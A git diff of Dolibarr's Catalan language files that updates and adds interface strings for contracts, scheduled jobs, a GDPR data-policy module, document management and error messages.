-BasedOnTwoFirstLettersOfVATNumberBeingTheSameAsYourCompanyCountry=Basat en les dues primeres lletres del CIF que són iguals del codi de país de la teva empresa +BasedOnTwoFirstLettersOfVATNumberBeingTheSameAsYourCompanyCountry=Basat en que les dues primeres lletres del NIF són les mateixes que el codi de país de la vostra empresa LinkedFichinter=Enllaça a una intervenció ImportDataset_tax_contrib=Impostos varis ImportDataset_tax_vat=Pagaments IVA @@ -278,7 +280,7 @@ ByVatRate=Per de l'impost sobre vendes TurnoverbyVatrate=Facturació facturada pel tipus d'impost sobre la venda TurnoverCollectedbyVatrate=Facturació recaptada pel tipus d'impost sobre la venda PurchasebyVatrate=Compra per l'impost sobre vendes -LabelToShow=Etiqueta curta +LabelToShow=Nom curt PurchaseTurnover=Volum de compres PurchaseTurnoverCollected=Volum de compres recollit RulesPurchaseTurnoverDue=- Inclou les factures pendents del proveïdor, tant si es paguen com si no.
      - Es basa en la data de factura d'aquestes factures.
      diff --git a/htdocs/langs/ca_ES/contracts.lang b/htdocs/langs/ca_ES/contracts.lang index e88c7dfe87c..fc0861cb206 100644 --- a/htdocs/langs/ca_ES/contracts.lang +++ b/htdocs/langs/ca_ES/contracts.lang @@ -57,12 +57,12 @@ LastContracts=Últims %s contractes LastModifiedServices=Últims %s serveis modificats ContractStartDate=Data inici ContractEndDate=Data finalització -DateStartPlanned=Data prevista posada en servei -DateStartPlannedShort=Data inici prevista +DateStartPlanned=Data d'inici prevista +DateStartPlannedShort=Data d'inici prevista DateEndPlanned=Data prevista finalització del servei DateEndPlannedShort=Data final prevista -DateStartReal=Data real posada en servei -DateStartRealShort=Data inici +DateStartReal=Data d'inici real +DateStartRealShort=Data d'inici real DateEndReal=Data real finalització del servei DateEndRealShort=Data real finalització CloseService=Finalitzar servei @@ -72,7 +72,7 @@ BoardExpiredServices=Els serveis han caducat BoardExpiredServicesShort=Els serveis han caducat ServiceStatus=Estat del servei DraftContracts=Contractes esborrany -CloseRefusedBecauseOneServiceActive=El contracte no es pot tancar ja que almenys hi ha un servei obert +CloseRefusedBecauseOneServiceActive=El contracte no es pot tancar perquè hi ha almenys un servei obert ActivateAllContracts=Activar totes les línies de contracte CloseAllContracts=Tancar tots els serveis DeleteContractLine=Eliminar línia de contracte @@ -80,7 +80,7 @@ ConfirmDeleteContractLine=Esteu segur que voleu suprimir aquesta línia de contr MoveToAnotherContract=Moure el servei a un altre contracte d'aquest tercer. ConfirmMoveToAnotherContract=He triat el contracte i confirmo el canvi de servei en aquest contracte ConfirmMoveToAnotherContractQuestion=Escull a quin contracte existent (del mateix tercer), vols moure aquest servei? -PaymentRenewContractId=Renova la línia del contracte (número %s) +PaymentRenewContractId=Renova el contracte %s (servei %s) ExpiredSince=Expirat des del NoExpiredServices=Sense serveis actius expirats ListOfServicesToExpireWithDuration=Llistat de serveis actius a expirar en %s dies @@ -89,7 +89,7 @@ ListOfServicesToExpire=Llistat de serveis actius a expirar NoteListOfYourExpiredServices=Aquest llistat només conté els serveis de contractes de tercers que tens enllaçats com a agent comercial StandardContractsTemplate=Plantilla de contracte Standard ContactNameAndSignature=Per %s, nom i signatura: -OnlyLinesWithTypeServiceAreUsed=Només les línies amb tipus "Servei" seran clonades. +OnlyLinesWithTypeServiceAreUsed=Només es clonaran les línies amb el tipus «Servei». ConfirmCloneContract=Esteu segur que voleu clonar el contracte %s ? LowerDateEndPlannedShort=Baixa data de finalització planificada dels serveis actius SendContractRef=Informació del contracte __REF__ diff --git a/htdocs/langs/ca_ES/cron.lang b/htdocs/langs/ca_ES/cron.lang index 722eadf7bed..ac78fb3c03a 100644 --- a/htdocs/langs/ca_ES/cron.lang +++ b/htdocs/langs/ca_ES/cron.lang @@ -26,7 +26,7 @@ CronCommand=Ordre CronList=Tasques programades CronDelete=Elimina les tasques programades CronConfirmDelete=Vols eliminar aquests treballs programats? -CronExecute=Llança la tasca programada +CronExecute=Executa ara CronConfirmExecute=Esteu segur que voleu executar aquestes tasques programades ara? CronInfo=El mòdul de tasques programades permet programar tasques per executar-les automàticament. Les tasques també es poden iniciar manualment. CronTask=Tasca @@ -42,7 +42,7 @@ CronMethod=Mètode CronModule=Mòdul CronNoJobs=Sense treballs actualment CronPriority=Prioritat -CronLabel=Etiqueta +CronLabel=Nom CronNbRun=Nombre d'execucions CronMaxRun=Nombre màxim d'execucions CronEach=Tota (s) @@ -58,13 +58,13 @@ CronNote=Nota CronFieldMandatory=El camp %s és obligatori CronErrEndDateStartDt=La data de fi no pot ser anterior a la d'inici StatusAtInstall=Estat a la instal·lació del mòdul -CronStatusActiveBtn=Programa-ho +CronStatusActiveBtn=Activa la programació CronStatusInactiveBtn=Desactivar CronTaskInactive=Aquest treball està desactivat (no programat) CronId=Id CronClassFile=Filename with class CronModuleHelp=Nom del directori del mòdul de Dolibarr (també funciona amb mòduls externs).
      Per exemple, per cridar al mètode "fetch" de l'objecte Producte de Dolibarr /htdocs/product/class/product.class.php, el valor pel mòdul és
      product -CronClassFileHelp=La ruta relativa i el nom del fitxer a carregar (la ruta és relativa al directori arrel del servidor web).
      Per exemple, per cridar al mètode "fetch" de l'objecte Producte de Dolibarr /htdocs/product/class/product.class.php, el valor del nom del fitxer de classe és
      product/class/product.class.php +CronClassFileHelp=El camí relatiu i el nom del fitxer a carregar (el camí és relatiu al directori arrel del servidor web).
      Per exemple, per a cridar al mètode fetch de l'objecte Producte de Dolibarr htdocs/product/class/product.class.php, el valor del nom del fitxer de classe és
      product/class/product.class.php CronObjectHelp=El nom de l'objecte a carregar.
      Per exemple, per cridar al mètode "fetch" de l'objecte Producte de Dolibarr /htdocs/product/class/product.class.php, el valor pel nom del fitxer de classe és
      Product CronMethodHelp=El mètode d'objecte a cridar.
      Per exemple, per cridar al mètode "fetch" de l'objecte Producte de Dolibarr /htdocs/product/class/product.class.php, el valor pel mètode és
      fetch CronArgsHelp=Els arguments del mètode.
      Per exemple, cridar al mètode "fetch" de l'objecte Producte de Dolibarr /htdocs/product/class/product.class.php, el valor dels paràmetres pot ser
      0, ProductRef @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Aneu al menú " Inici - Eines d'adm JobDisabled=Tasca desactivada MakeLocalDatabaseDumpShort=Còpia de seguretat de la base de dades local MakeLocalDatabaseDump=Crear un bolcat de la base de dades local. Els paràmetres són: compressió ('gz' o 'bz' o 'none'), tipus de còpia de seguretat ('mysql' o 'pgsql'), 1, 'auto' o nom de fitxer per a compilar, nombre de fitxers de còpia de seguretat per conservar +MakeSendLocalDatabaseDumpShort=Envia una còpia de seguretat de la base de dades local +MakeSendLocalDatabaseDump=Envieu una còpia de seguretat de la base de dades local per correu electrònic. Els paràmetres són: to, from, subject, message, filename (nom del fitxer enviat), filtre ('sql' només per a la còpia de seguretat de la base de dades) +BackupIsTooLargeSend=Ho sentim, l'últim fitxer de còpia de seguretat és massa gran per a enviar-lo per correu electrònic +CleanUnfinishedCronjobShort=Neteja les tasques programades inacabades +CleanUnfinishedCronjob=Neteja les tasques programades bloquejades en el processament quan el procés ja no s'executa WarningCronDelayed=Atenció, a efectes de rendiment, sigui quina sigui la propera data d'execució de les tasques habilitades, és possible que les vostres tasques es retardin a un màxim de %s hores abans de ser executades. DATAPOLICYJob=Netejador de dades i anonimitzador JobXMustBeEnabled=La tasca %s s'ha d'activar +EmailIfError=Correu electrònic per a advertir d'error +ErrorInBatch=Error en executar la tasca %s + # Cron Boxes LastExecutedScheduledJob=Darrera tasca programada executada NextScheduledJobExecute=Propera tasca programada a executar NumberScheduledJobError=Nombre de tasques programades en error +NumberScheduledJobNeverFinished=Nombre de feines programades mai acabades diff --git a/htdocs/langs/ca_ES/datapolicy.lang b/htdocs/langs/ca_ES/datapolicy.lang new file mode 100644 index 00000000000..b21188b6968 --- /dev/null +++ b/htdocs/langs/ca_ES/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Política de privadesa de dades +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Mòdul de gestió de la privadesa de dades (conformitat amb el GDPR) + +# +# Administration page +# +datapolicySetup = Configuració de la política de privadesa de dades del mòdul +Deletion = Supressió de dades +datapolicySetupPage = Depenent de les lleis dels vostres països (Exemple Article 5 del GDPR), les dades personals s'han de conservar durant un període no superior al necessari per a les finalitats per a les quals van ser recollides, excepte per a finalitats d'arxiu.
      L'eliminació es farà automàticament després d'un temps determinat sense esdeveniment (la durada que hauràs indicat a continuació). +NB_MONTHS = %s mesos +ONE_YEAR = 1 any +NB_YEARS = %s anys +DATAPOLICY_TIERS_CLIENT = Client +DATAPOLICY_TIERS_PROSPECT = Client potencial +DATAPOLICY_TIERS_PROSPECT_CLIENT = Client potencial/client +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Ni prospecte/Ni client +DATAPOLICY_TIERS_FOURNISSEUR = Proveïdor +DATAPOLICY_CONTACT_CLIENT = Client +DATAPOLICY_CONTACT_PROSPECT = Client potencial +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Client potencial/client +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Ni prospecte/Ni client +DATAPOLICY_CONTACT_FOURNISSEUR = Proveïdor +DATAPOLICY_ADHERENT = Soci +DATAPOLICY_Tooltip_SETUP = Tipus de contacte: indiqueu les vostres opcions per a cada tipus. +DATAPOLICYMail = Configuració de correus electrònics +DATAPOLICYSUBJECTMAIL = Assumpte del correu electrònic +DATAPOLICYCONTENTMAIL = Contingut del correu electrònic +DATAPOLICYSUBSITUTION = Pots utilitzar les variables següents al teu correu electrònic (LINKACCEPT permet crear un enllaç registrant l'acord de la persona, LINKREFUSED permet registrar la negativa de la persona): +DATAPOLICYACCEPT = Missatge després de l'acord +DATAPOLICYREFUSE = Missatge després del desacord +SendAgreementText = Podeu enviar un correu electrònic de GDPR a tots els vostres contactes rellevants (que encara no han rebut cap correu electrònic i per als quals no heu registrat res sobre el seu acord de GDPR). Per fer-ho, utilitzeu el botó següent. +SendAgreement = Envieu correus electrònics +AllAgreementSend = S'han enviat tots els correus electrònics +TXTLINKDATAPOLICYACCEPT = Text per a l'enllaç "acord" +TXTLINKDATAPOLICYREFUSE = Text per a l'enllaç "desacord" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR: Tractament de dades personals +DATAPOLICY_consentement = Consentiment obtingut per al tractament de dades personals +DATAPOLICY_opposition_traitement = S'oposa al tractament de les seves dades personals +DATAPOLICY_opposition_prospection = S'oposa al tractament de les seves dades personals amb finalitats de prospecció + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anònim a un tercer +DATAPOLICY_POPUP_ANONYME_TEXTE = No podeu eliminar aquest contacte de Dolibarr perquè hi ha elements relacionats. D'acord amb el GDPR, farà que totes aquestes dades siguin anònimes per a respectar les seves obligacions. T'agradaria continuar? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portabilitat GDPR +DATAPOLICY_PORTABILITE_TITLE = Exportació de dades personals +DATAPOLICY_PORTABILITE_CONFIRMATION = Voleu exportar les dades personals d'aquest contacte. Estàs segur ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = S'ha anonimitzat l'%s + +# V2 +DATAPOLICYReturn = Validació GDPR +DATAPOLICY_date = Data de l'acord/desacord GDPR +DATAPOLICY_send = Data d'enviament del correu electrònic de l'acord +DATAPOLICYReturn = Validació GDPR +DATAPOLICY_SEND = Envieu un correu electrònic GDPR +MailSent = Email ha estat enviat + +# ERROR +ErrorSubjectIsRequired = Error: l'assumpte del correu electrònic és obligatori. Indiqueu-ho a la configuració del mòdul +=A causa d'un problema tècnic, no hem pogut registrar la vostra elecció. Demanem disculpes per això. Contacta amb nosaltres per enviar-nos la teva elecció. +NUMBER_MONTH_BEFORE_DELETION = Nombre de mes abans de la supressió diff --git a/htdocs/langs/ca_ES/dict.lang b/htdocs/langs/ca_ES/dict.lang index 1d0f708a3e0..7451026254e 100644 --- a/htdocs/langs/ca_ES/dict.lang +++ b/htdocs/langs/ca_ES/dict.lang @@ -247,10 +247,13 @@ CountryJE=Jersey CountryME=Monténégro CountryBL=Sant Bartomeu CountryMF=Saint-Martin +CountryXK=Kosovo ##### Civilities ##### CivilityMME=Senyora +CivilityMMEShort=Senyora CivilityMR=Senyor +CivilityMRShort=Senyor CivilityMLE=Senyoreta CivilityMTRE=En CivilityDR=Doctor diff --git a/htdocs/langs/ca_ES/ecm.lang b/htdocs/langs/ca_ES/ecm.lang index e920e6f4fc6..1c4effe2e01 100644 --- a/htdocs/langs/ca_ES/ecm.lang +++ b/htdocs/langs/ca_ES/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Carpeta manual ECMSectionAuto=Carpeta automàtica ECMSectionsManual=Arbre manual ECMSectionsAuto=Arbre automàtic +ECMSectionsMedias=Arbre dels multimèdia ECMSections=Carpetes ECMRoot=Arrel del ECM ECMNewSection=Carpeta nova @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Nombre d'arxius en les subcarpetes ECMCreationUser=Creador ECMArea=Àrea SGD/GCE ECMAreaDesc=L’àrea SGD/GED (Sistema de Gestió de Documents / Gestió de Continguts Electrònics) us permet desar, compartir i cercar ràpidament tota mena de documents a Dolibarr. -ECMAreaDesc2=Podeu crear carpetes manuals i adjuntar els documents
      Les carpetes automàtiques són emplenades automàticament en l'addició d'un document en una fitxa. +ECMAreaDesc2a=* Els directoris manuals es poden utilitzar per a desar documents no vinculats a un element concret. +ECMAreaDesc2b=* Els directoris automàtics s'omplen automàticament quan s'afegeixen documents des de la pàgina d'un element. +ECMAreaDesc3=* Els directoris de multimèdia són fitxers del subdirectori /medias del directori de documents, llegibles per a tothom sense necessitat de registrar-se i sense necessitat de compartir el fitxer de manera explícita. S'utilitza per a emmagatzemar fitxers d'imatge per al mòdul de correu electrònic o lloc web, per exemple. ECMSectionWasRemoved=La carpeta %s ha estat eliminada ECMSectionWasCreated=S'ha creat el directori %s. ECMSearchByKeywords=Cercar per paraules clau diff --git a/htdocs/langs/ca_ES/errors.lang b/htdocs/langs/ca_ES/errors.lang index aecba7b6975..9a38acece6c 100644 --- a/htdocs/langs/ca_ES/errors.lang +++ b/htdocs/langs/ca_ES/errors.lang @@ -14,10 +14,11 @@ ErrorLoginAlreadyExists=El nom d'usuari %s ja existeix. ErrorGroupAlreadyExists=El grup %s ja existeix. ErrorEmailAlreadyExists=El correu electrònic %s ja existeix. ErrorRecordNotFound=Registre no trobat -ErrorFailToCopyFile=No s'ha pogut copiar el fitxer " %s " a " %s ". +ErrorRecordNotFoundShort=No trobat +ErrorFailToCopyFile=No s'ha pogut copiar el fitxer «%s» a «%s». ErrorFailToCopyDir=No s'ha pogut copiar el directori ' %s ' a ' %s '. ErrorFailToRenameFile=Error al renomenar l'arxiu '%s' a '%s'. -ErrorFailToDeleteFile=No s'ha pogut eliminar el fitxer " %s ". +ErrorFailToDeleteFile=No s'ha pogut eliminar el fitxer «%s». ErrorFailToCreateFile=Error al crear l'arxiu '%s' ErrorFailToRenameDir=Error al renomenar la carpeta '%s' a '%s'. ErrorFailToCreateDir=Error al crear la carpeta '%s' @@ -48,6 +49,7 @@ ErrorBadImageFormat=El fitxer d'imatge no té un format compatible (el vostre PH ErrorBadDateFormat=El valor '%s' té un format de data no reconegut ErrorWrongDate=La data no és correcta. ErrorFailedToWriteInDir=No es pot escriure a la carpeta %s +ErrorFailedToBuildArchive=No s'ha pogut crear el fitxer d'arxiu %s ErrorFoundBadEmailInFile=S'ha trobat una sintaxi incorrecta del correu electrònic per a les línies %s al fitxer (exemple de la línia %s amb email=%s) ErrorUserCannotBeDelete=No es pot eliminar l'usuari. És possible que estigui relacionat amb entitats de Dolibarr. ErrorFieldsRequired=Alguns camps obligatoris s'han deixat en blanc. @@ -58,8 +60,8 @@ ErrorSetupOfEmailsNotComplete=La configuració dels correus electrònics no s'ha ErrorFeatureNeedJavascript=Aquesta funcionalitat requereix javascript actiu per funcionar. Modifiqueu en configuració->entorn. ErrorTopMenuMustHaveAParentWithId0=Un menú del tipus 'Superior' no pot tenir un menú pare. Poseu 0 al menú pare o trieu un menú del tipus 'Esquerra'. ErrorLeftMenuMustHaveAParentId=Un menú del tipus 'Esquerra' ha de tenir un ID de pare -ErrorFileNotFound=Arxiu no trobat (ruta incorrecta, permisos incorrectes o accés prohibit pel paràmetre openbasedir) -ErrorDirNotFound=Directori %s no trobat (Ruta incorrecta, permisos inadequats o accés prohibit pel paràmetre PHP openbasedir o safe_mode) +ErrorFileNotFound=No s'ha trobat el fitxer %s (camí incorrecte, permisos incorrectes o accés denegat pel paràmetre PHP openbasedir o safe_mode) +ErrorDirNotFound=No s'ha trobat el directori %s (camí incorrecte, permisos incorrectes o accés denegat pel paràmetre PHP openbasedir o safe_mode) ErrorFunctionNotAvailableInPHP=La funció %s és requerida per aquesta característica, però no es troba disponible en aquesta versió/instal·lació de PHP. ErrorDirAlreadyExists=Ja existeix una carpeta amb aquest nom. ErrorFileAlreadyExists=Ja existeix un fitxer amb aquest nom. @@ -76,13 +78,13 @@ ErrorNoValueForCheckBoxType=Empleneu el valor de la llista de caselles de selecc ErrorNoValueForRadioType=Els valors de la llista han de ser indicats ErrorBadFormatValueList=La llista de valors no pot tenir més d'una coma: %s, però necessita com a mínim una: clau,valor ErrorFieldCanNotContainSpecialCharacters=El camp %s no pot contenir caràcters especials. -ErrorFieldCanNotContainSpecialNorUpperCharacters=El camp %s no pot contenir caràcters especials, ni caràcters en majúscules i no pot contenir només números. +ErrorFieldCanNotContainSpecialNorUpperCharacters=El camp %s no ha de contenir caràcters especials ni majúscules i ha de començar amb un caràcter alfabètic (a-z) ErrorFieldMustHaveXChar=El camp %s ha de tenir com a mínim %s caràcters. ErrorNoAccountancyModuleLoaded=Mòdul de comptabilitat no activat ErrorExportDuplicateProfil=El nom d'aquest perfil ja existeix per aquest conjunt d'exportació ErrorLDAPSetupNotComplete=La configuració Dolibarr-LDAP és incompleta. ErrorLDAPMakeManualTest=S'ha generat un fitxer .ldif al directori %s. Proveu de carregar-lo manualment des de la línia d'ordres per a obtenir més informació sobre els errors. -ErrorCantSaveADoneUserWithZeroPercentage=No es pot desar una acció amb "estat no iniciat" si el camp "fet per" també s'omple. +ErrorCantSaveADoneUserWithZeroPercentage=No es pot desar una acció amb «estat no iniciat» si també s'omple el camp «fet per». ErrorRefAlreadyExists=La referència %s ja existeix. ErrorPleaseTypeBankTransactionReportName=Introduïu el nom de l’extracte bancari on s’ha d’informar de l’entrada (format AAAAAMM o AAAAAMMDD) ErrorRecordHasChildren=No s'ha pogut eliminar el registre, ja que té alguns registres fills. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Camp %s : ' %s ' no coincideix amb la reg ErrorHtmlInjectionForField=Camp %s : el valor ' %s no conté dades malicioses ' ErrorFieldValueNotIn=Camp %s : ' %s ' no és un valor trobat en el camp %s de %s ErrorFieldRefNotIn=Camp %s : ' %s ' no és un %s ref actual +ErrorMultipleRecordFoundFromRef=S'han trobat diversos registres en cercar des de la referència%s. No hi ha manera de saber quina identificació utilitzar. ErrorsOnXLines=S'han trobat %s errors ErrorFileIsInfectedWithAVirus=L'antivirus no ha pogut validar aquest arxiu (és probable que estigui infectat per un virus)! -ErrorSpecialCharNotAllowedForField=Els caràcters especials no són admesos pel camp "%s" ErrorNumRefModel=Hi ha una referència a la base de dades (%s) i no és compatible amb aquesta regla de numeració. Elimineu el registre o canvieu el nom de referència per a activar aquest mòdul. ErrorQtyTooLowForThisSupplier=Quantitat massa baixa per aquest proveïdor o sense un preu definit en aquest producte per aquest proveïdor ErrorOrdersNotCreatedQtyTooLow=Algunes ordres no s'han creat a causa de quantitats massa baixes @@ -118,12 +120,12 @@ ErrorForbidden3=Dolibarr no sembla funcionar en una sessió autentificada. Consu ErrorForbidden4=Nota: esborreu les galetes del vostre navegador per destruir les sessions existents per a aquest inici de sessió. ErrorNoImagickReadimage=No s'ha trobat la classe Imagick en aquesta instal lació PHP. La previsualització no està disponible. Els administradors poden deshabilitar aquesta pestanya en el menú Configuració - Entorn. ErrorRecordAlreadyExists=Registre ja existent -ErrorLabelAlreadyExists=Aquesta etiqueta ja existeix +ErrorLabelAlreadyExists=Aquest nom ja existeix ErrorCantReadFile=Error de lectura del fitxer '%s' ErrorCantReadDir=Error de lectura de la carpeta '%s' ErrorBadLoginPassword=Identificadors d'usuari o contrasenya incorrectes ErrorLoginDisabled=El seu compte està desactivat -ErrorFailedToRunExternalCommand=No s'ha pogut executar l'ordre extern. Comproveu que estigui disponible i executable pel vostre usuari del servidor PHP. Comproveu que l'ordre no estigui protegida a nivell d'intèrpret d'ordres per una capa de seguretat com apparmor. +ErrorFailedToRunExternalCommand=No s'ha pogut executar l'ordre extern. Comproveu que estigui disponible i que l'executi el vostre usuari del servidor PHP. Comproveu també que l'ordre no estigui protegida en l'àmbit d'intèrpret d'ordres per una capa de seguretat com apparmor. ErrorFailedToChangePassword=Error en la modificació de la contrasenya ErrorLoginDoesNotExists=El compte d'usuari de %s no s'ha trobat. ErrorLoginHasNoEmail=Aquest usuari no té e-mail. Impossible continuar. @@ -134,7 +136,7 @@ ErrorLinesCantBeNegativeForOneVATRate=El total de línies (net d’impostos) no ErrorLinesCantBeNegativeOnDeposits=Les línies no poden ser negatives en un dipòsit. Si ho feu, podreu tenir problemes quan necessiteu consumir el dipòsit a la factura final ErrorQtyForCustomerInvoiceCantBeNegative=La quantitat a les línies de factures a client no poden ser negatives ErrorWebServerUserHasNotPermission=El compte d'execució del servidor web %s no disposa dels permisos per això -ErrorNoActivatedBarcode=No hi ha activat cap tipus de codi de barres +ErrorNoActivatedBarcode=No s'ha activat cap mena de codi de barres ErrUnzipFails=No s'ha pogut descomprimir el fitxer %s amb ZipArchive ErrNoZipEngine=No engine to zip/unzip %s file in this PHP ErrorFileMustBeADolibarrPackage=El fitxer %s ha de ser un paquet Dolibarr en format zip @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Per a desactivar els objectes, han d ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Per ser activats, els objectes han de tenir l'estat "Esborrany" o "Desactivat" ErrorNoFieldWithAttributeShowoncombobox=Cap camp té la propietat "showoncombobox" en la definició de l'objecte "%s". No es pot mostrar el llistat desplegable. ErrorFieldRequiredForProduct=El camp "%s" és obligatori per al producte %s +AlreadyTooMuchPostOnThisIPAdress=Ja heu publicat massa en aquesta adreça IP. ProblemIsInSetupOfTerminal=El problema està en la configuració del terminal %s. ErrorAddAtLeastOneLineFirst=Afegeix almenys una primera línia ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, el registre ja s’ha transferit a la comptabilitat, no es pot eliminar. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Error, el paràmetre %s s ErrorLoginDateValidity=Error, aquest inici de sessió està fora de l'interval de dates de validesa ErrorValueLength=La longitud del camp ' %s ' ha de ser superior a ' %s ' ErrorReservedKeyword=La paraula ' %s ' és una paraula clau reservada +ErrorFilenameReserved=El nom de fitxer %s no es pot utilitzar perquè és una ordre reservada i protegida. ErrorNotAvailableWithThisDistribution=No disponible amb aquesta distribució ErrorPublicInterfaceNotEnabled=La interfície pública no s'ha activat ErrorLanguageRequiredIfPageIsTranslationOfAnother=Cal definir l'idioma de la pàgina nova si es defineix com a traducció d'una altra pàgina @@ -277,8 +281,8 @@ ErrorWrongFileName=El nom del fitxer no pot contenir __COSA__ ErrorNotInDictionaryPaymentConditions=No es troba al Diccionari de condicions de pagament, modifiqueu-lo. ErrorIsNotADraft=%s no és un esborrany ErrorExecIdFailed=No es pot executar l'ordre "id" -ErrorBadCharIntoLoginName=Caràcter no autoritzat al nom d'inici de sessió -ErrorRequestTooLarge=Error, sol·licitud massa gran +ErrorBadCharIntoLoginName=Caràcter no autoritzat al camp %s +ErrorRequestTooLarge=Error, sol·licitud massa gran o sessió caducada ErrorNotApproverForHoliday=No sou l'autor de l'abandonament %s ErrorAttributeIsUsedIntoProduct=Aquest atribut s'utilitza en una o més variants de producte ErrorAttributeValueIsUsedIntoProduct=Aquest valor d'atribut s'utilitza en una o més variants de producte @@ -291,6 +295,21 @@ ErrorAjaxRequestFailed=La sol·licitud ha fallat ErrorThirpdartyOrMemberidIsMandatory=És obligatori un tercer o membre de la societat ErrorFailedToWriteInTempDirectory=No s'ha pogut escriure al directori temporal ErrorQuantityIsLimitedTo=La quantitat està limitada a %s +ErrorFailedToLoadThirdParty=No s'ha pogut trobar/carregar un tercer des d'id=%s, correu electrònic=%s, name=%s +ErrorThisPaymentModeIsNotSepa=Aquest mode de pagament no és un compte bancari +ErrorStripeCustomerNotFoundCreateFirst=El client de Stripe no està configurat per a aquest tercer (o s'ha establert un valor suprimit al costat de Stripe). Creeu-lo (o torneu-lo a adjuntar) primer. +ErrorCharPlusNotSupportedByImapForSearch=La cerca IMAP no pot cercar al remitent o al destinatari una cadena que contingui el caràcter + +ErrorTableNotFound=No s'ha trobat la taula %s +ErrorValueForTooLow=El valor de %s és massa baix +ErrorValueCantBeNull=El valor de %s no pot ser nul +ErrorDateOfMovementLowerThanDateOfFileTransmission=La data de la transacció bancària no pot ser inferior a la data de transmissió del fitxer +ErrorTooMuchFileInForm=Hi ha massa fitxers en el formulari, el nombre màxim és de %s fitxers +ErrorSessionInvalidatedAfterPasswordChange=La sessió s'ha invalidat després d'un canvi de contrasenya, estat o dates de validesa. Si us plau, torneu a iniciar sessió. +ErrorExistingPermission = Ja existeix el permís %s per a l'objecte %s +ErrorFieldExist=El valor de %s ja existeix +ErrorEqualModule=El mòdul no és vàlid a %s +ErrorFieldValue=El valor de %s és incorrecte +ErrorCoherenceMenu= %s és necessari quan %s és «left» # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=El paràmetre PHP upload_max_filesize (%s) és superior al paràmetre PHP post_max_size (%s). No es tracta d’una configuració consistent. @@ -304,7 +323,7 @@ WarningConfFileMustBeReadOnly=Atenció, el seu fitxer (htdocs/conf/conf.php%s línies font WarningNoDocumentModelActivated=No s'ha activat cap model per a la generació de documents. Per defecte s’escollirà un model fins que no comproveu la configuració del mòdul. WarningLockFileDoesNotExists=Avís, un cop finalitzada la instal·lació, heu de desactivar les eines d'instal·lació / migració afegint un fitxer install.lock al directori %s . Ometre la creació d'aquest fitxer suposa un greu risc de seguretat. -WarningUntilDirRemoved=Totes les advertències de seguretat (visibles només pels usuaris administradors) romandran actives sempre que la vulnerabilitat estigui present (o aquesta constant MAIN_REMOVE_INSTALL_WARNING s'afegeix a la Configuració-> Configuració altra). +WarningUntilDirRemoved=Aquest avís de seguretat romandrà actiu mentre la vulnerabilitat estigui present. WarningCloseAlways=Avís, el tancament és realitzat encara que la quantitat total difereixi entre els elements d'origen i destí. Activi aquesta funcionalitat amb precaució. WarningUsingThisBoxSlowDown=Advertiment, si utilitzeu aquest quadre, alentireu seriosament totes les pàgines que mostren el quadre. WarningClickToDialUserSetupNotComplete=La configuració de ClickToDial per al compte d'usuari no està completa (vegeu la pestanya ClickToDial en la seva fitxa d'usuari) @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=La data de pagament (%s) és anterior a l WarningTooManyDataPleaseUseMoreFilters=Massa dades (més de %s línies). Utilitza més filtres o indica la constant %s amb un límit superior. WarningSomeLinesWithNullHourlyRate=Algunes vegades es van registrar per alguns usuaris quan no s'havia definit el seu preu per hora. Es va utilitzar un valor de 0 %s per hora, però això pot resultar una valoració incorrecta del temps dedicat. WarningYourLoginWasModifiedPleaseLogin=El vostre nom d'usuari s'ha modificat. Per motius de seguretat, haureu d'iniciar sessió amb el vostre nou nom d'usuari abans de la propera acció. +WarningYourPasswordWasModifiedPleaseLogin=S'ha modificat la teva contrasenya. Per motius de seguretat, haureu d'iniciar sessió ara amb la vostra nova contrasenya. WarningAnEntryAlreadyExistForTransKey=Ja existeix una entrada per la clau de traducció d'aquest idioma WarningNumberOfRecipientIsRestrictedInMassAction=Advertència: el nombre de destinataris diferents està limitat a %s quan s'utilitzen les accions massives a les llistes. WarningDateOfLineMustBeInExpenseReportRange=Advertència, la data de la línia no està dins del rang de l'informe de despeses @@ -326,6 +346,9 @@ WarningAvailableOnlyForHTTPSServers=Disponible només si s'utilitza una connexi WarningModuleXDisabledSoYouMayMissEventHere=El mòdul %s no s'ha habilitat. Per tant, potser us perdeu molts esdeveniments aquí. WarningPaypalPaymentNotCompatibleWithStrict=El valor "Estricte" fa que les funcions de pagament en línia no funcionin correctament. Utilitzeu "Lax". WarningThemeForcedTo=Avís, el tema s'ha forçat a %s per la constant oculta MAIN_FORCETHEME +WarningPagesWillBeDeleted=Advertència, això també suprimirà totes les pàgines/contenidors existents del lloc web. Hauríeu d'exportar el vostre lloc web abans, de manera que tingueu una còpia de seguretat per tornar-lo a importar més tard. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=La validació automàtica es desactiva quan l'opció de disminució d'estoc s'estableix a "Validació de la factura". +WarningModuleNeedRefrech = El mòdul %s s'ha desactivat. No oblideu activar-lo # Validate RequireValidValue = El valor no és vàlid @@ -344,6 +367,6 @@ RequireValidDuration = Requereix una durada vàlida RequireValidExistingElement = Requeriu un valor existent RequireValidBool = Requeriu un booleà 